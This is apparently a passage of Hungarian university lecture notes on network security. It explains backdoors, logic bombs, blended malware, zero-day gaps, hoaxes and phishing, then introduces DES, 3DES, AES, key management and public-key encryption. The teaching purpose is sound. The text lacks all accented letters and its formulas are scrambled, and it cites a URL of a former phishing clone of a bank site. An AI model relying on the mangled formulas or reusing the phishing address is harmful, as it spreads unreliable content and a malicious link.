http://www.faqs.org/docs/jargon/B/back-door.html Egy olyan biztonsgi rs, amit a rendszer tervezje vagy karbantartja szndkosan hagy benne a programban/rendszerben. A fenti helyen elrhet Jargon File hivatkozs alatt megtalljuk, hogy Ken Thompson a C fordt segtsgvel milyen trkks mdon ksztett magnak rejtekajtt a UNIX-os login programban, amivel be tudott lpni olyan gpekre is, ahova hivatalosan nem kapott belpsi jogosultsgot. Egy rendszerbe val betrs utn a tmad is hagyhat magnak a rendszergazda szmra rejtett bejutsi lehetsget. Kvetkezskppen egy feltrt rendszert teljesen jra kell telepteni!

20 2.1.5. Bomba

Hlzatok biztonsga

Olyan programkd, amely valamely felttel (id, esemny, ezek kombincija) esetn vagy tvvezrlssel (pl. trap door segtsgvel) robban, azaz fejti ki kros tevkenysgt. Egyes vrusokra is jellemz lehet (pl. pntek 13.). Shareware programok vdelmre is hasznlhatjk, pl. adott id utn nmagt elpuszttja a program...

2.2.

sszetett fenyegetsek

Egy rosszindulat program (malicious code) tbb utat is hasznlhat a terjedsre. gy pldul:

terjedhet boot sectorban terjedhet programhoz kapcsoldva (vrusknt) kihasznlhat bizonyos opercis rendszerre jellemz biztonsgi rseket

loklis hlzatban ltrehozhat sajt knyvtr megosztsokat (pl. windows felhasznlk szmra)

rendelkezhet sajt SMTP szerverrel, aminek segtsgvel a szmtgpen tallhat e-mail cmekre elkldi magt

a billentyzetet figyelve gyjthet jelszavakat lehallgathat a hlzaton kdolatlanul kldtt jelszavakat sztras trst intzhet UNIX-os passwd fjlok ellen

Rosszindulat programok jellemrajza

21

ekzben rootkit-tel vagy ms mdon rejtheti magt.

Mindez csak a tervezjnek fantzijn s felkszltsgn mlik. Egy hatkony program cljtl fggen a fentiek kzl tbb funkcit megvalsthat, ami segti a terjedst s nehezti a kiirtst illetve a bejutsa elleni vdekezst. 2.2.1. Zero day gap

Egy biztonsgi rs letciklusa a kvetkez lpseket foglalja magban fejleszti nzpontbl: 1. a biztonsgi rs bekerl a szoftverbe 2. a biztonsgi rst valaki szreveszi 3. a biztonsgi rst hivatalosan bejelentik 4. a biztonsgi rs befalazsra elkszl a javts s publikljk

Felhasznli szempontbl: a) a biztonsgi rst tartalmaz szoftvert felteleptik b) a javtst felteleptik

Az adott rendszer tmadsa szempontjbl lnyeges esemnyek:

22

Hlzatok biztonsga I. elkszl az els exploit a biztonsgi rs kihasznlsra II. megtmadjk vele az adott rendszert

Kedvez esetben 3. jel esemny megelzi az I. jelt s kztk kellen sok id (pl. 1 hnap telik el), ami lehetsget ad arra, hogy 4. utn mg a lustbb rendszergazdk is vgrehajtsk b)-t, mieltt II. bekvetkezne. Az esemnyek ilyen sorrendje mellett a tmads sikertelen. A 0 day gap azt jelenti, hogy 3. utn nagyon hamar bekvetkezik I. s gy nincs ideje a rendszergazdknak vdekezsre. St, ha a hibt a potencilis tmad tallja meg, mr a hiba bejelentse eltt rhat exploitot s tmadhat vele.

2.3.

Emberi tnyezk

A rosszindulat programok terjedsben termszetesen nagy szerepe van az emberi tnyezknek, gy pldul az albbiaknak:

tudatlansg: a rosszindulat programokkal kapcsolatos ismeretek hinya

figyelmetlensg: pl. rbootolni egy floppyra meggondolatlansg: pl. vletlenl rkattintani egy e-mail-hez csatolt llomnyra

feleltlensg: pl. nem megbzhat forrsbl szrmaz program tudatos, szndkos hasznlata vrusellenrzs, karantn nlkl

Rosszindulat programok jellemrajza

23 vrusadatbzis frisstsek

hanyagsg: elhanyagolsa

biztonsgi

frisstsek,

(A fenti kategrik meglehetsen nknyesek, s nem felttlenl diszjunktak, jelentsk sem fggetlen egymstl. A hanyagsg s feleltlensg minstsek felttelezik, hogy az illet szemly rendelkezik a szksges ismeretekkel, de neki felrhat mdon helytelenl jr el.) Vannak azonban olyan eset is, amikor elg a rosszindulat program nlkl is ;-) azaz a krokozs csak emberi tnyezkn alapul, a ltrehozsa mszaki ismeretet nem ignyel. Lssunk most ilyeneket! 2.3.1. Lnclevl, piramisjtk, hoax, e-mail vrus

Mr az Internet eltti idkben is lteztek postai lnclevelek (msold le s kldd tovbb x napon bell y pldnyban) st levben terjed piramisjtkok is (lnclevl, + kldjl a lista elejn lev szemlynek z sszeget). Az internet technolgia csupn lehetsget ad a knnyebb s gyorsabb terjedshez. A hoax jelentse pedig: ugrats, tejts, megtveszts. Fontos megklnbztetni, hogy itt NEM egy e-mailben terjed, valsgos mszaki vrusrl van sz (ami pl. egy csatolt fjlhoz kapcsoldhatna), hanem maga a levl a vrus amit a nem gondolkoz felhasznl tovbbkld. A tmval kapcsolatban van egy meglehetsen egyni stlusban rt (ez ers eufemizmus), de tartalmban nagyon hasznos honlap,

24

Hlzatok biztonsga

aminek a megismersre minden kedves hallgatmat tisztelettel btortok, hogy az okosak msokat is ide kldhessenek aki ezt most mg nem rti, az a lap megismerse utn majd megrti, hogy mirt fogalmaztam gy :-) teht a ktelez olvasmny (amit ZH-n vagy vizsgn szmon is szoktam krni): http://yikes.tolna.net/hoax/ Lteznek hoax gyjtemnyek is, ezek kzl ajnlok egy magyar nyelvt szrakoztat olvasmnynak: http://lifeforce.hu/w/Hoax Amennyiben hoax gyans levelet kapunk valakitl, a legegyszerbb megolds, ha egy jellemz rszlett a google-ba berva megtalljuk azt egy olyan hoax listn, ahol elmagyarzzk, hogy mirt nyilvnvalan hoax s a linket beletesszk a vlaszunkba. n ajnlani szoktam (okosods cljbl) a ktelez olvasmny oldalt is, itt azonban rdemes a fenti ajnlsommal (lsd: okosok) krlbstyzni, klnben srtds lehet belle! 2.3.2. Adathalszat (phising)

Tipikus mdja pldul, hogy egy bank gyfeleinek ltszlag a bank nevben e-mailt kldenek, amelyben

az gyfltl adatok megadst krik a vlaszlevlben valamely webhelyre irnytjk

Termszetesen a vlaszt nem az adott bank, hanem a tmad dolgozza fel, mint ahogyan az adott webhelyet is a tmad zemelteti, de az

Rosszindulat programok jellemrajza

25

megtvesztsig hasonlt az eredeti weblapra. Ez utbbira j plda az OTP bank honlapjnak lemsolsa: http://otp-ssl.128bit.at/ Ez az oldal mg a jegyzet megrst kveten is hossz idn t mkdtt. Ma (2008. februr 12.) mr csak a szolgltat zenett olvashatjuk, hogy The web site you are trying to browse to has been disabled. Aki hasonlval tallkozik, NEHOGY megadja az adatait!

Kriptogrfiai bevezet

27

3. Kriptogrfiai bevezet
A tmba annak kiterjedtsge s mly matematikai ismereteket ignyl volta miatt csak betekinteni tudunk. A tma irnt mlyebben rdekld hallgatimnak kt knyvet javaslok: 1. Buttyn Levente, Vajda Istvn: Kriptogrfia s alkalmazsai Typotex, Budapest, 2004. 2. Virraszt Tams: Titkosts s adatrejts NetAcademia Kft., 2004.

Az els knyv ers matematika ismeretekre pt, a kriptogrfiban mly elmleti alapokat ad kivl tanknyv, amelyet a BME oktati rtak. A msodik egy fiskolai matematika tudssal kvethet, olvasmnyos m. Kzrthetsge miatt valsznleg az utbbit fogjk olvas(gat)ni, bven tallnak benne trtneti rdekessgeket, titkostsi algoritmusok lerst, gyakorlati alkalmazsokat, stb. A szerz sok rdekes informcit gyjttt ssze, s ezek ltalban helytllak is, nhny esetben nem rtek egyet vele, gy pldul mindenkit figyelmeztek, hogy a hacker s a cracker defincijt ne a ebbl a knyvbl tanuljk meg, hanem a Jargon fjlbl: Jargon File - http://www.faqs.org/docs/jargon/ - e sorok rsakor ezen az oldalon az aktulis verzija: 4.4.2. A kriptogrfiai bevezet fleg a BME-s tanknyvre pl, ersen leegyszerstve s lervidtve azt. Megismerjk a titkos s nyilvnos kulcs kriptogrfia alapelemeit s betekintnk a kriptogrfiai alapprotokollokba. Clunk az, hogy a hallgatk megismerkedjenek az

28

Hlzatok biztonsga

algoritmikus adatvdelem alapjaival, kpesek legyenek megrteni a megoldand problmkat s elsajttsanak egy alapvet kriptogrfiai szemlletet, ami alapot jelent a biztonsgos kommunikcirl szl fejezethez.

3.1.

Alapfogalmak

A kriptolgia a titkos kommunikcival foglalkoz tudomny. Kt f ga a kriptogrfia s a kriptoanalzis. A kriptogrfia a titkostssal foglalkozik, a kriptoanalzis pedig a titok jogosulatlan megfejtsvel. A titkos kommunikci modellje a kvetkez. x E y y D x

y k1 tmad k2

10. bra: A rejtjelezs modellje

A szeretn az x zenetet egy nyilvnos csatornn keresztl eljuttatni B-nek gy, hogy a nyilvnos csatornn hallgatz tmad az zenet tartalmt ne ismerhesse meg. (A tmad a kommunikci tnyrl tudomst szerezhet.) Ennek rdekben az x nylt szvegbl (plain text) az E k . rejtjelez
1

transzformcival a

k 1 kulcs (key) hasznlatval elkszti (encryption)

az y rejtett zenetet (cipher text):

Kriptogrfiai bevezet y= E k x
1

29

k1

tetszleges rgztett rtke mellett k1

E k .
1

klcsnsen

egyrtelm lekpzs. gy is mondhatjuk, hogy a lehetsges E transzformcik halmazbl a kulcs jelli ki azt, amelyiket ppen alkalmazzuk. A nyilvnos csatornn hallgatz tmad az E s D transzformcik halmaznak ismeretben sem kpes a k 2 kulcs ismerete nlkl az y rejtett szvegbl az x nylt szveg meghatrozsra. B az y rejtett zenetbl az E k . transzformci inverzvel a Dk .
1 2

dekdol transzformcival nyeri vissza (decryption) az eredeti x zenetet:

x= D k y
2

Ha k1=k2, akkor szimmetrikus kulcs (ms nven konvencionlis vagy titkos kulcs) rejtjelezsrl beszlnk. Ekkor termszetesen az A ltal hasznlt k=k1=k2 kulcsot valamilyen vdett csatornn keresztl el kell juttatni B-hez. Ha k1k2, akkor aszimmetrikus kulcs (ms nven nyilvnos kulcs) rejtjelezsrl beszlnk. Ekkor minden rsztvevnek 2 kulcsa van:

k P - nyilvnos kulcs (public key)


k S - titkos kulcs (secret key)

30

Hlzatok biztonsga

A fenti pldban az A a B nyilvnos kulcst hasznlja a titkostshoz: k 1=k P s B a sajt titkos kulcst hasznlja a megfejtshez: B azaz: y= E k x s
P B

k 2 =k S , B

x= D k y
S B

A nyilvnos kulcs titkosts rsztvevi: A, B, C, a nyilvnos kulcsaikat: kP , A kP , B


P k C , elhelyezik egy mindenki szmra

olvashat nyilvnos kulcstrban, mg a titkos kulcsukat (megfelel vdelem mellett) titokban tartjk. Egy adott felhasznl nyilvnos kulcsnak felhasznlsval titkostott zentet csak az titkos kulcsval lehet megfejteni. FONTOS, hogy a modern kriptogrfiban a rejtjelez algoritmus maga nem titok, azaz a programot vagy rejtjelez gpet a tmad ellophatja, a kulcs ismerete nlkl mgsem kpes a rejtett szvegbl a nylt szveg meghatrozsra. A rejtjelezs biztonsga NEM fgghet attl, hogy a tmad ismeri-e az algoritmust! A kriptogrfiai algoritmusok nagyon gyakran nyilvnosak, referencia implementci akr ingyen is hozzfrhet lehet. (A tervezsi megfontolsok viszont nem felttlenl nyilvnosak, br itt is jelents az elrelps, lsd ksbb: DES AES.) A kriptolginak van egy tmadsi modellje, ez ebben megvalsul tmadsokat hvjk algoritmikus tmadsnak. Az ezen kvli tmadsok (pl. kmek megtudjk a kulcsokat, crackerek feltrik a titkost kzpont szmtgpeit) ellen egyb mdszerekkel kell vdekezni. Az algoritmikus

Kriptogrfiai bevezet

31

tmadsokat az tviteli csatornn hajtja vgre a tmad. Itt is megklnbztetnk aktv s passzv tmadsi mdszereket. A passzv mdszer alapvet jellemzje, hogy a tmad a nyilvnos csatorna lehallgatsval rejtett szveg zenetek birtokba jut. A tmad eredmnyes, ha kpes a rejtett szveg zenetekbl a nylt szveg ellltsra. Az algoritmus ismeretrl szl felttelezsnk miatt ennek elgsges felttele a dekdolshoz szksges kulcs megfejtse. Az tviteli csatornn foly tevkenysg szempontjbl passzvnak tekintjk a kvetkez kategrikba sorolhat mdszereket (ezek egyre nvekv erejek): 1. Rejtett szveg tmads. Ez a mdszer ugyanazon kulccsal titkostott rejtett szveg zeneteket hasznl fel. (ciphertext only attack) 2. Ismert nylt szveg tmads. Ismert, sszetartoz nylt szveg rejtett szveg prokat hasznl fel. (known plain text attack) 3. Vlasztott szveg tmads. A tmadnak lehetsge van

megvlasztani a nylt szvegeket, amelyekhez tartoz rejtett szvegeket megkaphatja, vagy a rejtett szvegeket, amelyekhez val nylt szvegeket megkaphatja. (chosen text attack)

Nyilvnval, hogy az egyre nagyobb sorszm tmads kategrik egyre tbbet kvetelnek a tmadtl, (pl. rvenni valamelyik felet, hogy az ltalunk vlasztott nylt zenetet a titkostva tkldje a csatornn) s egyre

32

Hlzatok biztonsga

tbb lehetsget adnak neki, hogy a rejtjelez algoritmust ismerve annak esetleges gyenge pontjait kihasznlja. Ha a tmadnak lehetsge van az tviteli csatornban zeneteket trlni, beszrni, mdostani, akkor aktv tmadsrl beszlnk. A rejtjelezs alapveten a passzv tmadsok ellen vd, az aktv tmadsok elleni vdekezshez kriptogrfiai protokollokat hasznlnak, ami elre meghatrozott zenetcsere-folyamatot jelent. Ennek sorn szlelik az aktv tmadsokat, s kivdik azok kros kvetkezmnyt. Pldul egy megszemlyests (valaki msnak adja ki magt) esetn a kapcsolat nem jn ltre. Fontos fogalom mg a gyakorlati titkossg. Ebben az esetben br a kulcs kimert keresssel (lsd blokk titkostk) meghatrozhat, ennek erforrsignye a gyakorlatban a kor technikai sznvonaln nem elgthet ki: a kulcs meghatrozsa annyi idt venne ignybe, hogy az informci mr rdektelenn vlik.

3.2.

Titkos kulcs blokkrejtjelezk

A blokktitkostk a nylt zenetet n bit hosszsg blokkokra bontjk. (Amennyiben az zenet hossza nem tbbszrse a blokkmretnek, akkor kitltst alkalmaznak, dekdolskor azonban egyrtelmen el kell tudni vlasztani az zenetet a kitltstl.) A rejtjelezs sorn egy n bit hosszsg nylt szveghez a k bit hossz kulcs fggvnyben egy szintn

Kriptogrfiai bevezet

33

n bit hosszsg rejtett szveget rendelnek, azaz formlisan a kvetkez lekpzst valstjk meg: E: {0,1}n x {0,1}k {0,1}n Mivel a kulcs mrete k, lehetsges rtkeinek szma 2k. Ez azt jelenti, hogy a kulcsunkkal 2k darab lehetsges E transzformci kzl vlasztjuk ki azt, amit ppen alkalmazunk. Mivel ez vges, a tmadnak lehetsge van kimert keresst hasznlni. Mit jelent ez? A tmad rendelkezsre ll t darab nylt szveg - rejtett szveg pr, jelljk ezeket jellje: (xi, yi), ahol yi=EK(xi), i=1, 2, t. A tmad keresi a K kulcsot. A tmad sorra veszi a Kj, j=1, 2, 2k kulcsokat. Kiszmtja EKj(x1) rtkt, s sszehasonltja y1gyel. Termszetesen az esetek dnt tbbsgben ez nem fog egyezni, ilyenkor veszi a kvetkez kulcsot... Ha egyezik, az vagy azrt van, mert eltallta a kulcsot Kj=K, vagy vletlen egybeess ll fenn. Ez utbbit nagy valsznsggel kizrhatja, ha i=1-tl t-ig az sszes prra megvizsglja, s az adott Kj esetn i-re fennll az EKj(xi)=yi egyenlsg. 3.2.1. DES

A DES (Data Encription Standard) rejtjelezt az IBM szakemberei fejlesztettk ki az USA-ban a 70-es vekben. Blokkmrete 64 bit, kulcsmrett eredetileg 128 bitesre vlasztottk, de az NSA (National Security Agency) gy dnttt, hogy csak 56 bites legyen. (Ez lnyegesen gyengtette, sokan azt gondoltk, hogy az a clja, hogy az NSA kpes legyen feltrni.) Hasznlatt eredetileg USA kormnyhivatalok s bankok szmra tmogattk. A titkost algoritmust nyilvnossgra hoztk, de a

34

Hlzatok biztonsga

tervezsi kritriumokat akkor mg nem. A differencilis kriptoanalzis pldul a 90-es vekben vlt kzismertt, ezutn az IBM szakemberei elismertk, hogy k mr a DES tervezsekor ismeretk azt, s gy terveztk meg, hogy ellenlljon neki. A DES ellen a mai napig sem ismert feltrs, csupn eljrt fltte az id. Ez azt jelenti, hogy a mai technolgia mellett mr nem elegend a kulcsmrete, hogy ellenlljon a kimert kulcskeressnek. Ennek demonstrlsra tbb nyilvnos pnzdjas versenyt is rendeztek: adott nylt szveg rejtett szveg ismeretben kellett megtallni a kulcsot. 1999 janurjban az RSA Security ltal kirt DES Challenge III-at pldul 22 ra 15 perc alatt oldottk meg a Deep Crack (DES feltrsre ptett clszmtgp: egyszer, prblkozsokat vgrehajt DES-chipeket tartalmaz nagyfok prhuzamostssal) s a Distributed.net (sok, hlzaton keresztl sszekapcsolt szmtgp) kombincijval. Tovbbi informci az RSA honlapjn: http://www.rsasecurity.com/rsalabs/node.asp?id=2108 A DES alapvet mkdsrl annyit, hogy egyszer, tlthat struktrja van, a klasszikus elemekbl (helyettestses s permutcis rtegek) pl fel, azokat tlthat struktrban egyms utn 16 krben (round) alkalmazza, az invertlhatsgot gy oldja meg, hogy az egyes krk kztt a Feistel struktrt alkalmazza. Akik mlyebben rdekldnek a rejtjelez mkdse irnt a kt emltett knyv brmelyikben megtalljk.

Kriptogrfiai bevezet 3.2.2. Triple-DES

35

Mivel a DES ellen a kimert keress egyre relisabb tmads, viszont magban a DES algoritmusban nem talltak olyan hibt, ami miatt trhet lenne, radsul sok j szoftver s hardver implementcija van, relis megolds lehet, hogy a DES-t tbbszr egyms utn alkalmazzk ms-ms kulccsal a kulcsbitek szmnak nvelsre. Javt-e ez? A problma megrtshez szksg van bizonyos algebrai struktrk ismeretre. Csoportnak nevezzk azt a struktrt, amely egy halmazbl s egy ktoperandus mveletbl ll s kielgti, hogy:

zrt: a mveletet a halmaz kt eleme kztt elvgezve szintn a halmazbeli elemet kapunk

asszociatv:

mvelet

tbbszri

egyms utn

alkalmazsa

tzrjelezhet

van egysgelem: ltezik olyan eleme, amely elem s tetszleges msik elem kztt a mveletet elvgezve a msik adott elemet kapjuk eredmnyl

minden elemhez ltezik inverz: a mveletet az adott elem s az inverze kztt elvgezve az egysgelemet kapjuk

Ha a DES transzformcik halmaza (amelynek elemei az egyes kulcsokkal kijellt transzformcik, teht 256 db eleme van) az egyms utn alkalmazsra mint mveletre nzve zrt lenne, akkor csoport is lenne (ez

36

Hlzatok biztonsga

bizonythat). Mit jelent a zrtsg? Azt, hogy tetszleges k1 s k2 kulcshoz ltezik olyan k3 kulcs, hogy az egyms utn alkalmazott E k E k .
2 1

transzformcik egyetlen

E k .
3

transzformcival helyettesthetk.

Ekkor nyilvn valan rtelmetlen lenne a DES-t tbbszr egyms utn alkalmazni, hiszen a tbb kulcs helyett kimert keresssel elg lenne egyetlen 56 bites kulcsot keresni. Radsul mg maga a DES is trhet lenne (a szletsnap paradoxonon alapul) n. kzpen val tallkozs tmadssal (meet in the middle attack), errl bvebben a BME-s tanknyvben olvashatunk. Szerencsre a DES nem rendelkezik csoport tulajdonsggal! Ha viszont a DES-t ktszer alkalmazzuk egyms utn, akkor br elvileg 2x56 kulcsbitet hasznlunk fel, a trs mgsem lnyegesen nehezebb, ami ugyancsak a kzpen val tallkozs tmads miatt van (ezt is megtalljuk a BME-s jegyzetben). A lehet legegyszerbb megolds az, ha a transzformcit hromszor egyms utn alkalmazzuk 3 klnbz kulccsal. Az gy nyert rejtjelez a triple-DES vagy 3DES. (Ezt a szakirodalomban ltalban teljesen egyenrtk rtelemben hasznljk, egyedl a korbban emltett olvasmnyos knyvben lttam, hogy a szerzje megklnbztette ket, n ennek alapjn a jelentsbeli megklnbztetst nem ltom kellen bizonytottnak ahhoz, hogy tantsam.) A kdolt ltalban EDE vagy DED konfigurciban szoktk hasznlni, ahol az E a titkost a D pedig a dekdol transzformcit jelli. A 3DES EDE vzlata:

Kriptogrfiai bevezet x y

37

y= E k E k E k x
3 2 1

k1

k2

k3

11. bra: A 3DES EDE konfigurciban

A 3DES EDE s DED konstrukcijnak elnye az, hogyha a 3 kulcsot gy vlasztjuk meg, hogy k1=k2=k3, akkor visszakapjuk a kznsges egyszeres DES-t, ami megteremti a lehetsgt annak, hogy a 3DES-t hasznl rendszerek olyan rendszerekkel is tudjanak kommuniklni, amelyek csak az egyszeres DES-t tmogatjk. A k1=k3k2 esetben ktkulcsos 3DES-rl beszlnk, ekkor a kulcshossz 112 bit, ha pedig mindhrom kulcs klnbz, akkor 3 kulcsos 3DES-rl beszlnk, amelynek effektv kulcshossza 168 bit. 3.2.3. AES (Rijndael)

A DES lecserlsre az USA-ban egy j szabvnyt kvntak ltrehozni AES (Advanced Encryption Standard) nven. A NIST (National Institute for Standards and Technolgy) 1997-ben indtotta el a projektet, amelynek sorn definiltk az alapvet elvrsokat s plyzatot rtak ki. A plyzatra 21 nevezs rkezett, de csak 15-t fogadtak el. sszesen 3 krben rtkeltk ki ket, az utols krben 5 kzl kellett vlasztani,

38

Hlzatok biztonsga

amelyek mindegyike lnyegben megfelelt (MARS, RC6, RIJNDAEL, SERPENT, TWOFISH), ezek kzl a RIJNDAEL (ejtsd: rjndel) gyztt. A RIJNDAEL paramtereit tekintve kellen rugalmas, blokk s kulcsmrete 128, 192 s 256 bit lehet, az itercis lpesek szma 10, 12 vagy 14 lehet. A DES-hez hasonlan az egyes rtegekben itt is helyettests s permutci trtnik. Eltrs, hogy a rtegkulcsokat bitenknti kizr vagy mvelettel adja hozz, s nem hasznlja a Feistel-struktrt. Tovbbi eltrs, hogy mg a DES-nl 4 bites itt 8 bites egysgekben trtnik a helyettests ez a technolgia miatt mindkt esetben logikus vlaszts volt. Az algoritmus 8 bites mikroprocesszorokon is hatkonyan implementlhat.

3.3.

Kulcsmenedzsment

Most alapveten a titkos kulcs rendszerekre koncentrlunk. A kommunikcihoz hasznlt kulcsokat idnknt cserlni kell. Ez tbb szempontbl is indokolt, pldul:

Ne szolgltassunk tl sok adatot a titkostnk trshez (azonos kulccsal generlt titkos szvegek).

Ha valaki trni prblja az algoritmust, neki idre van szksge. Ha kicserljk a kulcsot, mire feltri, akkor kezdheti ellrl (persze a mltbeli zeneteinket utlag megismerhette).

Kriptogrfiai bevezet

39

A kulcs kompromittldhat, azaz illetktelen kezekbe juthat (pl. emberi mulaszts, kmek tevkenysge nyomn). Ha errl tudomst szerznk, azonnal cserlni kell, de elvigyzatossgbl idkznknt is szksges cserlni ebbl a szempontbl is.

Mind a kezdeti kulcsmegllapods, mind a kulcs lecserlse esetn szksges j kulcs ltrehozsra. A kulcsokat el kell juttatni a felhasznls helyre, ott megfelelen vdeni kell, lecserls esetn pedig biztonsgosan meg kell semmisteni, illetve lehet, hogy biztonsgosan archivlni kell. 3.3.1. Valdi Kulcsgenerls vletlen szmokat ltrehozni valamilyen fizikai folyamat

segtsgvel lehet. Ilyen lehet pldul a kdfnylmpa rama, kozmikus sugrzs vagy a rdioaktv bomls. Krltekintssel alkalmazhat valamely krnyezeti jellemzt mr egysg A/D talaktjnak legals bitje, pl. akusztikus httrzaj. Ugyancsak krltekintst ignyel a legegyszerbb megolds, ha a felhasznl egyes billentyletsei kztt eltelt idt mrjk. A fizikai folyamatbl nyert valdi vletlen szmokat szoktk hasznlni a kriptogrfiai kulcsgenertorok kezdrtknek belltshoz. Ezeket a genertorokat fontos megklnbztetni a kznsges pszeudorandom genertoroktl. A legegyszerbb lvletlen genertorok (amelyek pl. kivlan alkalmasak szmtgpes jtkokhoz, de akr tudomnyos igny szmtgpes szimulcikhoz is) kriptogrfiailag nagyon gyengk lehetnek. Pldul a lineris kongruencia genertor teljes egszben kiadja a bels

40

Hlzatok biztonsga

llapott a generlt lvletlen szmmal, gy az aktulis kulcsbl a kvetkez kulcs szmolhat lenne. A kriptogrfiai kulcsgenerlshoz olyan n. hard core predicate genertorok kellenek, amelyek ltal kiadott lvletlen bitsorozat rendelkezik azzal a tulajdonsggal, hogy a jelenlegi rtkekbl nem tudjuk egyszer mdon a ksbbi rtkeket szmtani. 3.3.2. Kulcstrols, tovbbts

A kvnt biztonsgi szinttl fggen a kulcsok trolsa, tovbbtsa sokfle lehet. Valamilyen kznsges adathordozn (kriptogrfiai rtelemben) nylt formban ugyan, de zrt bortkban feladhatjuk postn, szllthatja egy megbzhat futr, illetve komolyabb esetben a kulcs nyltan el sem hagyja a kulcsgenertort, hanem egybl n. kulcstrol modulba kerl. Ebbl csak megfelel krlmnyek kztt nyerhet ki, illetktelen hozzfrsi ksrlet esetn pedig megsemmisl. St, az is lehet, hogy olyan intelligens eszkzbe tltik, ami maga vgzi a titkostst, s a kulcs egyltaln nem nyerhet ki belle. A kulcsot szllthatjk titkostva is (akr fizikailag, akr nyilvnos kommunikcis csatornn), ekkor persze egy msik kulcsra van szksg a kibontshoz. Ilyen mdon a kulcsoknak egsz hierarchija lehet: pldul egy llomshoz tartozhat egy mester kulcs, amit kezdetben egyszer belltottak, s amivel kdolva kapja meg az lloms idkznknt (pl. havonta) az zemi kulcst, amit ms llomsokkal val kommunikciban csak a kapcsolatkulcs ltrehozsra hasznl, s az adattvitelt a

Kriptogrfiai bevezet

41

kapcsolatkulcs segtsgvel titkostja. Ilyenkor egy alsbb szint kulcs kompromittldsa csak korltozott kvetkezmnyekkel jr.

3.4.

Nyilvnos kulcs titkosts

A klasszikus titkos kulcs titkosts esetn nehzsget okoz, hogy kt fl titkos kommunikcijhoz elzetes kulcscserre van szksg. Egszen pontosan nem is az szksges, hogy valamelyik fl a msiknak tadjon egy titkot, hanem az, hogy legyen olyan titok, amit csak k ketten ismernek. Erre a klnbsgre ksbb mg visszatrnk! HIVATKOZS Amint a bevezetben emltettk, a nyilvnos kulcs titkosts esetn minden rsztvev kt kulccsal rendelkezik. Egy nyilvnos s egy titkos kulccsal. A nyilvnos kulcst kzzteszi egy nyilvnos cmtrban a titkos kulcst pedig vdi. Mit lehet ezzel kezdeni? Milyen tmadsi lehetsgek vannak? Rviden ezt fogjuk ttekinteni. Ha valaki titkos zenetet szeretne kldeni A-nak, akkor elbb a nyilvnos cmtrbl lekri az A nyilvnos kulcst, majd az zenetet ezzel kdolva kldi el a nyilvnos csatornn A-nak. A titkosts invertlsa csak az A titkos kulcsnak ismeretben vgezhet el hatkonyan (gyakorlati titkossg), gy a nyilvnos csatornn hallgatz tmad kptelen a kdolt zenet megfejtsre. ppen ezrt a tmad ms taktikt vlaszt. A nyilvnos cmtrat fogja megszemlyesteni. Ha az A-nak zenetet kldeni kvn B a cmtrbl lekri az A nyilvnos kulcst, helyette a tmad a

42

Hlzatok biztonsga

sajt nyilvnos kulcst adja oda B-nek, gy az zenetet nem A, hanem a tmad tudja megfejteni. A tmadsra megvalstsra mr tbb megoldst is bemutattunk, pldul ha a nyilvnos cmtr egy weblap, akkor akr a DNS elleni tmadssal, akr az IP routing elleni valamelyik tmadssal (hamis RIP informci vagy routing redirect) megoldhat a feladat. A tmads ellen ltezik algoritmikus vdekezs, erre hamarosan sor kerl, de elbb mg valamire szksgnk van. Vizsgljuk meg, hogyan hitelesthet az zenet forrsa? A mdszer azon alapul, hogy a titkos s a nyilvnos kulccsal vgzett megfelel mveletek egyms inverzei. Mg a nyilvnos kulccsal trtn kdols a titkos kulcs birtokban dekdolhat, a titkos kulccsal vgzett kdols a nyilvnos kulcs segtsgvel fejthet meg. Ha egy lloms (legyen A) bizonytani akarja, hogy az zenet tle szrmazik, akkor azt elkdolja a sajt titkos kulcsnak felhasznlsval. Ezutn brki, aki ismeri az A lloms nyilvnos kulcst, kpes az zenet dekdolsra. Az zenet dekdolja biztos lehet, hogy az zenet tnyleg A-tl jtt, mert ms nem rendelkezik A titkos kulcsval. Felmerl a krds, hogy mi van akkor, ha valaki ms kldte az A nevben az zenetet? Egy bitsorozatot brki elllthat. Ekkor a bitsorozatnak az A nyilvnos kulcsval trtn dekdolsakor egy zagyvasgot kapunk. Itt az segt a hamis zenet kiszrsben, hogy az emberi nyelvek ersen redundnsak. Elenyszen kicsi annak a valsznsge, hogy egy vletlenszeren vlasztott rejtett szveg dekdolsakor rtelmes zenetet kapjunk. (Ugye megdbbennnk, ha egy majmot leltetnnk egy rgp el, s az eredmny egy csodlatos vers lenne?) Ha ez nem elg meggyz

Kriptogrfiai bevezet szmunkra, vagy az zenetet programmal rtelmezzk,

43 akkor

gondoskodnunk kell a redundancia bevitelrl, pldul az zenetnek kttt formtumnak kell lennie. Most mr visszatrhetnk a kulcstr informciinak vdelmre. Ha a nyilvnos kulcstr is rendelkezik egy nyilvnos s egy titkos kulccsal, s a nyilvnos kulcs kommunikciban rsztvev felek mindegyike elre ismeri a kulcstr nyilvnos kulcst, akkor a kvetkez megoldst hasznlhatjuk. A kulcstr nyilvnos kulcst a felek elre ismerik. A kulcstr a krt adatokat a sajt titkos kulcsval kdolja el. Ekkor minden rsztvev kpes ellenrizni, hogy a kulcstr nevben rkez informci valban a kulcstrtl jtt-e. Persze azrt itt az elzetes ugyan nem titkos, de hitelessget ignyl informci ismerete megint eljtt. Mekkora nehzsget jelent az, hogy a feleknek ismernik kell a kulcstr nyilvnos kulcst? Laboratriumi krlmnyek kztt ez egyltaln nem gond, hiszen amikor az egyes rsztvevk titkos s nyilvnos kulcst elksztik, a kulcstrban eltroljk a nyilvnos kulcsot, a rsztvevknek meg odaadjk a titkosat, akkor odaadhatjk nekik a cmtr nyilvnos kulcst is. A gyakorlatban azonban a problma igen lnyeges. Sklzhatsgi (teljestmny), fldrajzi, politikai stb. okokbl nem oldhat meg, hogy mindenki egy cmtrat hasznljon, viszont a klnbz cmtrak felhasznli is szeretnnek egymssal kommuniklni. Erre a tmra a nyilvnos kulcs infrastruktra trgyalsakor mg visszatrnk! HIVATKOZS

44

Hlzatok biztonsga

A nyilvnos kulcs titkostsrl szl ltalnos rsz befejezseknt nzzk meg, hogyan kpes egy A felhasznl egy B felhasznlnak titkos s hiteles zenetet kldeni! Az A elbb a sajt titkos kulcsval, majd a B nyilvnos kulcsval kdolja az zenetet. B elbb a sajt titkos kulcsval, majd az A nyilvnos kulcsval dekdol. Ekkor a hallgatz tmad nem jut az informcihoz, mert a rejtett zenet B titkos kulcsa nlkl nem dekdolhat, s B biztos lehet abban, hogy amennyiben az zenet rtelmes, akkor az zenet A-tl jtt, mert annak titkos kulcst ms nem ismeri. A gy kdol: y= E k E k x
P B S A

